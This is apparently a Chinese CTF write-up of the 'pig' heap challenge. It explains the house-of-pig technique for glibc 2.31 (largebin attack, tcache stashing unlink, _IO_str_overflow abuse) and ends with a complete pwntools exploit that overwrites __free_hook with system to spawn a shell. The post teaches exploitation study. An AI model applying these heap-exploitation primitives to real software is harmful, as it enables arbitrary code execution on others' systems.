Loading... 感觉自己还是太菜了,在比赛期间甚至都没有逆清楚这道题,即使学长给了分析好的 idb 文件也看不懂。当然当时身体不是很好也有一部分原因,但是还是觉得很遗憾。比赛结束后复现了一下,也算是学习一下新的利用方法。 参考自[house of pig一个新的堆利用详解](https://www.anquanke.com/post/id/242640#h2-3) ### 跳表修复 拿到题目,直接 F5 的话可能会出现 `__asm{ jmp rax }` 这样的指令 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/2586093918.png "></div> 这是 switch 的跳表结构未被 IDA 识别造成的,导致了大量代码丢失,解决方案可以参考[我的这篇文章](https://www.cjovi.icu/mess/1345.html),对于此程序应该使用的参数为 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/1088234536.png "></div> 然后就可以识别出 switch 了。 ### 流程分析 首先,经过大胆猜测可以分析出每只猪的结构体结构 ```cpp struct PIG { char *des_ptr[24]; int des_size[24]; char des_exist_sign[24]; char freed_sign[24]; }; ``` 和 qword_9070 指向的结构体结构 ```cpp struct ALL_PIGS { char *peppa_des_ptr[24]; int peppa_des_size[24]; char peppa_des_exist_sign[24]; char peppa_freed_sign[24]; int peppa_last_size; int align1; char *mummy_des_ptr[24]; int mummy_des_size[24]; char mummy_des_exist_sign[24]; char mummy_freed_sign[24]; int mummy_last_size; int align2; char *daddy_des_ptr[24]; int daddy_des_size[24]; char daddy_des_exist_sign[24]; char daddy_freed_sign[24]; int daddy_last_size; int view_times_left; int edit_times_left; }; ``` 把这两个结构体补全后,程序的流程就会容易分析许多,总体的漏洞是在改变猪猪的时候,备份和更新结构体时未对 des_exist_sign[24] 数组更新 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/4157398465.png "></div> <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/06/36935588.png "></div> 可见两个函数中都没有对 des_exist_sign[24] 的操作。而在 edit 和 view 函数中,都是通过这个 sign 判断一个 message 是否存在的,所以通过更改角色可以实现 UAF。 更改角色要通过一个 check_password 的操作,这里对密码的操作我是真的完全不懂,所以直接抄了学长的爆破结果(的确还是有必要了解一点逆行中常见的加密操作的,之后找个时间补一下)。 ```python def change_rol(role): sh.sendlineafter("Choice: ",'5') if (role == 1): sh.sendlineafter("user:\n","A\x01\x95\xc9\x1c") if (role == 2): sh.sendlineafter("user:\n","B\x01\x87\xc3\x19") if (role == 3): sh.sendlineafter("user:\n","C\x01\xf7\x3c\x32") ``` 总结一下,程序主要的漏洞点是有 UAF,可以 show,可以 edit,分别有 2 和 8 次机会。最大可以申请 0x440 大小的空间,即可以使 chunk 进入 unsorted bin 和 large bin。整个程序中不存在 malloc 函数,全部是 calloc,由此函数的不从 tcache 中取出 chunk 的性质,且不可以申请 fastbin 范围中的 chunk,导致利用比较困难。 ### 利用方法 首先 libc 版本为 2.31。 两次 show 的机会可以把堆和 libc 的基地址都 leak 出来,这个比较简单,不多说了。 然后就比较困难了,因为无法直接通过 tcache 或 fastbin 攻击。官方给出的解法为被称为 house of pig 的利用方法,引用原文 > 该攻击方式适用于 libc 2.31及以后的新版本 libc,本质上是通过 libc2.31 下的 `largebin attack`以及 `FILE 结构`利用,来配合 libc2.31 下的 `tcache stashing unlink attack` 进行组合利用的方法。主要适用于程序中仅有 `calloc 函数`来申请 chunk,而没有调用 `malloc 函数`的情况。 利用条件为 * 存在 UAF * 能执行abort流程或程序显式调用 exit 或程序能通过主函数返回。 主要利用的函数为 _IO_str_overflow。 利用流程为 1. 进行一个 Tcache Stash Unlink+ 攻击,把地址 `__free_hook - 0x10` 写入 tcache_pthread_struct。由于该攻击要求 `__free_hook - 0x8` 处存储一个指向可写内存的指针,所以在此之前需要进行一次 large bin attack。 2. 再进行一个 large bin attack,修改 _IO_list_all 为一个堆地址,然后在该处伪造 _IO_FILE 结构体。 #### large bin attack 我其实没怎么用过这种攻击方法,这里记录一下攻击的原理。 主要利用的是 chunk 进入 bin 中的操作,在 malloc 的时候,遍历 unsorted bin 时,对每一个 chunk,若无法 exact-fit 分配或不满足切割分配的条件,就会将该 chunk 置入相应的 bin 中,而此过程中缺乏对 largebin 的跳表指针的检测。 以 2.33 版本的 libc 为例,从 4052 开始就是对 largebin chunk 的入 bin 操作 ```cpp else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); } } ``` 在 2.29 及以下的版本中,根据 unsorted chunk 的大小不同 ```cpp fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; ``` 在 unsorted chunk 小于链表中最小的 chunk 的时候会执行前一句,反之执行后一句。 由于两者大小相同的时候只会使用如下的方法插入,所以此时无法利用。 ```cpp if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; ``` 所以有两种利用方法。 在 2.30 版本新加入了对 largebin 跳表的完整性检查,使 unsorted chunk 大于链表中最小的 chunk 时的利用失效,必须使 unsorted chunk 小于链表中最小的 chunk,通过 ```cpp victim->bk_nextsize->fd_nextsize = victim; ``` 实现利用,也就是将本 chunk 的地址写到 `bk_nextsize + 0x20` 处。 通过 large bin attack 可以辅助 Tcache Stash Unlink+ 攻击,并可以修改 _IO_list_all 便于伪造结构体。 #### _IO_str_overflow 利用 这是我第一次碰到对这个函数的利用,由于在 libc 2.24 之后增加了对 vtable 位置合法性的检查,所以劫持 _IO_jump_t 的方法失效,但是跳表 _IO_str_jumps 是在 check 范围内的,也就是我们可以将 _IO_jump_t 劫持为 _IO_str_jumps,这样是可以通过合法性检查的,然后本该调用 _IO_overflow 的时候就会变成调用 _IO_str_overflow,此函数的实现如下 ```cpp int _IO_str_overflow (FILE *fp, int c) { int flush_only = c == EOF; size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */ return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); size_t new_size = 2 * old_blen + 100; if (new_size < old_blen) return EOF; new_buf = malloc (new_size); if (new_buf == NULL) { /* __ferror(fp) = 1; */ return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); free (old_buf); /* Make sure _IO_setb won't try to delete _IO_buf_base. */ fp->_IO_buf_base = NULL; } memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow) ``` 注意到满足 ```cpp pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (size_t) (_IO_blen (fp) + flush_only)) ``` 的时候,会先后执行 ```cpp size_t old_blen = _IO_blen (fp); // #define _IO_blen (fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base) new_buf = malloc (new_size); memcpy (new_buf, old_buf, old_blen); free (old_buf); ``` 三个操作,伪造 _IO_FILE 并劫持 vtable 为 _IO_str_jumps 通过一个 large bin attack 就可以轻松实现,并且我们上面三个语句中的 new_size,old_buf 和 old_blen 是我们可控的,这个函数就可以实现以下三步 1. 调用 malloc,实现从 tcache 中分配 chunk,在这里就可以把我们之前放入的 __free_hook fake chunk 申请出来 2. 将一段可控长度可控内容的内存段拷贝置 malloc 得来的 chunk 中(可以修改 __free_hook 为 system) 3. 调用 free,且参数为内存段起始地址("/bin/sh\x00",getshell) 也就是只要我们构造得当,执行该函数即可 getshell。 ### exp exp 可能写的比较烂,改来改去也是十分痛苦。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux","splitw","-h"] def add_message(size,payload): sh.sendlineafter("Choice: ",'1') sh.sendlineafter("size: ",str(size)) sh.sendafter("message: ",payload) def view_message(idx): sh.sendlineafter("Choice: ",'2') sh.sendlineafter("index: ",str(idx)) def edit_message(idx,payload): sh.sendlineafter("Choice: ",'3') sh.sendlineafter("index: ",str(idx)) sh.sendafter("message: ",payload) def delete_message(idx): sh.sendlineafter("Choice: ",'4') sh.sendlineafter("index: ",str(idx)) def change_rol(role): sh.sendlineafter("Choice: ",'5') if (role == 1): sh.sendlineafter("user:\n","A\x01\x95\xc9\x1c") if (role == 2): sh.sendlineafter("user:\n","B\x01\x87\xc3\x19") if (role == 3): sh.sendlineafter("user:\n","C\x01\xf7\x3c\x32") sh = process("./pig") libc = ELF("./libc-2.31.so") change_rol(2) for i in range(5): add_message(0x90,'tcache size\n' * (0x90 // 48)) delete_message(i) change_rol(1) for i in range(7): add_message(0x150,'tcache size\n' * (0x150 // 48)) delete_message(i) add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 7* add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 8 delete_message(7) change_rol(2) add_message(0xB0,'split7\n' * (0xB0 // 48)) # 5 change_rol(1) add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 9* add_message(0x150,'to unsorted\n' * (0x150 // 48)) # 10 delete_message(9) change_rol(2) add_message(0xB0,'split9\n' * (0xB0 // 48)) # 6 # prepare done change_rol(1) add_message(0x410,'leak_libc\n' * (0x410 // 48)) # 11 add_message(0x410,'largebin\n' * (0x410 // 48)) # 12 add_message(0x410,'\n' * (0x410 // 48)) # 13 delete_message(12) change_rol(2) change_rol(1) view_message(12) sh.recvuntil("is: ") libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 96 view_message(5) sh.recvuntil("is: ") heap_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x12750 log.success("libc_base: " + hex(libc_base)) log.success("heap_base: " + hex(heap_base)) __free_hook_addr = libc_base + libc.sym["__free_hook"] _IO_list_all_addr = libc_base + libc.sym["_IO_list_all"] #_IO_str_jump_addr = libc_base + libc.sym["_IO_str_jump"] _IO_str_jump_addr = libc_base + 0x1ED560 system_addr = libc_base + libc.sym["system"] ############################### leak done ############################### add_message(0x410,'get back\n' * (0x410 // 48)) # 14 change_rol(2) add_message(0x420,'largebin\n' * (0x420 // 48)) # 7 add_message(0x430,'largebin\n' * (0x430 // 48)) # 8 delete_message(7) add_message(0x430,'push\n' * (0x430 // 48)) # 9 change_rol(1) change_rol(2) edit_message(7,(p64(0) + p64(__free_hook_addr - 0x28)) * (0x420//48)) change_rol(1) delete_message(14) add_message(0x430,'push\n' * (0x430 // 48)) # 15 # largebin attack done change_rol(3) add_message(0x410,'get_back\n' * (0x430 // 48)) # 0 change_rol(1) edit_message(9,(p64(heap_base + 0x12C20) + \ p64(__free_hook_addr - 0x20)) * (0x150 // 48)) change_rol(3) add_message(0x90,'do stash\n' * (0x90 // 48)) # 1 # stash unlink done change_rol(2) edit_message(7,(p64(0) + p64(_IO_list_all_addr - 0x20)) * (0x420//48)) change_rol(3) delete_message(0) add_message(0x430,'push\n' * (0x430 // 48)) # 2 # second largebin atk change_rol(3) add_message(0x330,'pass\n' * (0x430 // 48)) # 3 add_message(0x430,'pass\n' * (0x430 // 48)) # 4 fake_IO_FILE = '' fake_IO_FILE += 2 * p64(0) fake_IO_FILE += p64(1) # _IO_write_base fake_IO_FILE += p64(0xFFFFFFFFFFFFFFFF) # _IO_write_ptr fake_IO_FILE += p64(0) # _IO_write_end fake_IO_FILE += p64(heap_base + 0x13E20) # old_buf, _IO_buf_base fake_IO_FILE += p64(heap_base + 0x13E20 + 0x18) # calc the memcpy length, _IO_buf_end fake_IO_FILE = fake_IO_FILE.ljust(0xC0 - 0x10,'\x00') fake_IO_FILE += p32(0) # mode <= 0 fake_IO_FILE += p32(0) + p64(0) * 2 # bypass _unused2 fake_IO_FILE += p64(_IO_str_jump_addr) payload = fake_IO_FILE + '/bin/sh\x00' + 2 * p64(system_addr) sh.sendlineafter("01dwang's Gift:\n",payload) #add_message(0x410,'large_bin\n' * (0x410 // 48)) # 1 sh.sendlineafter("Choice: ",'5') sh.sendlineafter("user:\n",'') sh.interactive() ``` ### 关于非预期 这道题大概是想减少非预期解,把输入方式变成了都只能分段输入,但是这样会导致最后的 fake_IO_FILE 结构难以布置,所以最后又给了一个连续输入的机会,就导致还是有很多非预期。总体来说对 _IO_str_overflow 的利用很新颖也很有意思,但是堆布局上着实是有些麻烦。 最后修改:2021 年 06 月 16 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 3 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧